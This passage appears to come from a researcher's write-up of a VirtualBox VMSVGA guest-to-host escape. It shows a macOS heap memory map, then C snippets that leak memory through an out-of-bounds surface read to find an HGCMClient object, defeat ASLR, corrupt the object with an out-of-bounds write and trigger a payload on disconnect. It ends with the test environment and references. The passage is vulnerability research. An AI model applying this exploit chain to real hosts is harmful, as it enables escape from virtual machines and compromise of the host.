MALLOC_SMALL           00007ff139800000-00007ff13b000000 [ 24.0M  23.6M  23.6M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff13b400000-00007ff13b500000 [ 1024K  1016K  1016K     8K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16b400000-00007ff16b800000 [ 4096K  2464K  2464K  1632K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16b800000-00007ff16c06d000 [ 8628K  6592K  6592K  1828K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16c06d000-00007ff16c06e000 [    4K     4K     4K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16c06e000-00007ff16d000000 [ 15.6M  14.0M  14.0M  1440K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16d000000-00007ff16d800000 [ 8192K  5608K  5608K  2312K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16d800000-00007ff16da00000 [ 2048K   864K   864K  1184K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16da00000-00007ff16dc00000 [ 2048K    24K    24K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff16dc00000-00007ff16de00000 [ 2048K    20K    20K    24K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff16de00000-00007ff16df00000 [ 1024K     8K     8K     8K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff16df00000-00007ff16e000000 [ 1024K   940K   940K    84K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16e000000-00007ff16e800000 [ 8192K     4K     4K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_SMALL           00007ff16e800000-00007ff16f000000 [ 8192K     8K     8K   240K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_SMALL (empty)   00007ff16f000000-00007ff170000000 [ 16.0M     8K     8K   172K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff170000000-00007ff170100000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170100000-00007ff170200000 [ 1024K   988K   988K    36K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY (empty)    00007ff170200000-00007ff170300000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170300000-00007ff170400000 [ 1024K     4K     4K    20K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff170400000-00007ff170500000 [ 1024K  1024K  1024K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff170500000-00007ff170800000 [ 3072K  3072K  3072K     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff170800000-00007ff171000000 [ 8192K     4K     4K    96K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_SMALL           00007ff171000000-00007ff171800000 [ 8192K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff171800000-00007ff172a00000 [ 18.0M  18.0M  18.0M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff172a00000-00007ff172b00000 [ 1024K  1024K  1024K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff172b00000-00007ff173800000 [ 13.0M  13.0M  13.0M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff173800000-00007ff173900000 [ 1024K  1024K  1024K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff173900000-00007ff174800000 [ 15.0M  15.0M  15.0M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff174800000-00007ff174900000 [ 1024K  1024K  1024K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff174900000-00007ff174b00000 [ 2048K  2048K  2048K     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff174b00000-00007ff174c00000 [ 1024K  1024K  1024K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff174c00000-00007ff175000000 [ 4096K  4096K  4096K     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff175000000-00007ff175100000 [ 1024K  1024K  1024K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff175100000-00007ff175b00000 [ 10.0M  10.0M  10.0M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff175b00000-00007ff175c00000 [ 1024K  1024K  1024K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff175c00000-00007ff176600000 [ 10.0M  10.0M  10.0M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff176600000-00007ff176900000 [ 3072K  2352K  2352K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff177000000-00007ff17b000000 [ 64.0M  62.8M  62.8M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
STACK GUARD            00007ffee50b0000-00007ffee88b0000 [ 56.0M     0K     0K     0K] ---/rwx SM=NUL          stack guard for thread 0

Locating and overwriting HGCMClient Object:

Once heap spray is done, use the out of bound read to leak memory relative to the surfaces starting from SVGA3D_MAX_SURFACE_IDS – 1. If any HGCMClient is found, stop the search, else keep going.
/* leak memory */
        for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) {
                access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000);
                rv = find_hgcm_client(memory, 0x1000, &details);
                if (rv == 0) {
                        surface_id = i;
                        break;
                }
        }
Once the client object is found, we know the location of the object by leaking its ‘pSelf’ pointer. The object’s vtable is a pointer to VBoxC.dylib. Both of this can be used to break ASLR. Later corrupt the object using the out of bound write relative to the surface id found during the search.
        access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000);
Finally, use HGCM disconnect to use the corrupted HGCMClient as below:
        warnx("[+] Triggering payload...");
        disconnect_client(details.key);

Environment:

Guest: Ubuntu Server 16.04.5 64-bit with single vCPU and VMSVGA enabled
Host: MacOS High Sierra 10.13.6. Note that MacOS Mojave does not support older versions of VirtualBox
VirtualBox: Version 5.1.22 r115126

Exploit took around 3 minutes to complete due to the heap spray involved. The proof-of-concept exploit code and other code can be found at virtualbox-vmsvga-bugs



References and further readings:

[1] GPU Virtualization on VMware’s Hosted I/O Architecture
[2] VMware SVGA Device Interface and Programming Model
[3] CLOUDBURST - A VMware Guest to Host Escape Story
[4] Attacking hypervisors through hardware emulation
[5] VBoxManage
[6] Oracle Critical Patch Update Advisory - January 2015
[7] Oracle Critical Patch Update Advisory - July 2017
[8] Oracle Critical Patch Update Advisory - October 2017
[9] Heapple Pie - The macOS/iOS default heap
[10] In the Zone: OS X Heap Exploitation
[11] Thinking outside the VirtualBox

1 comment :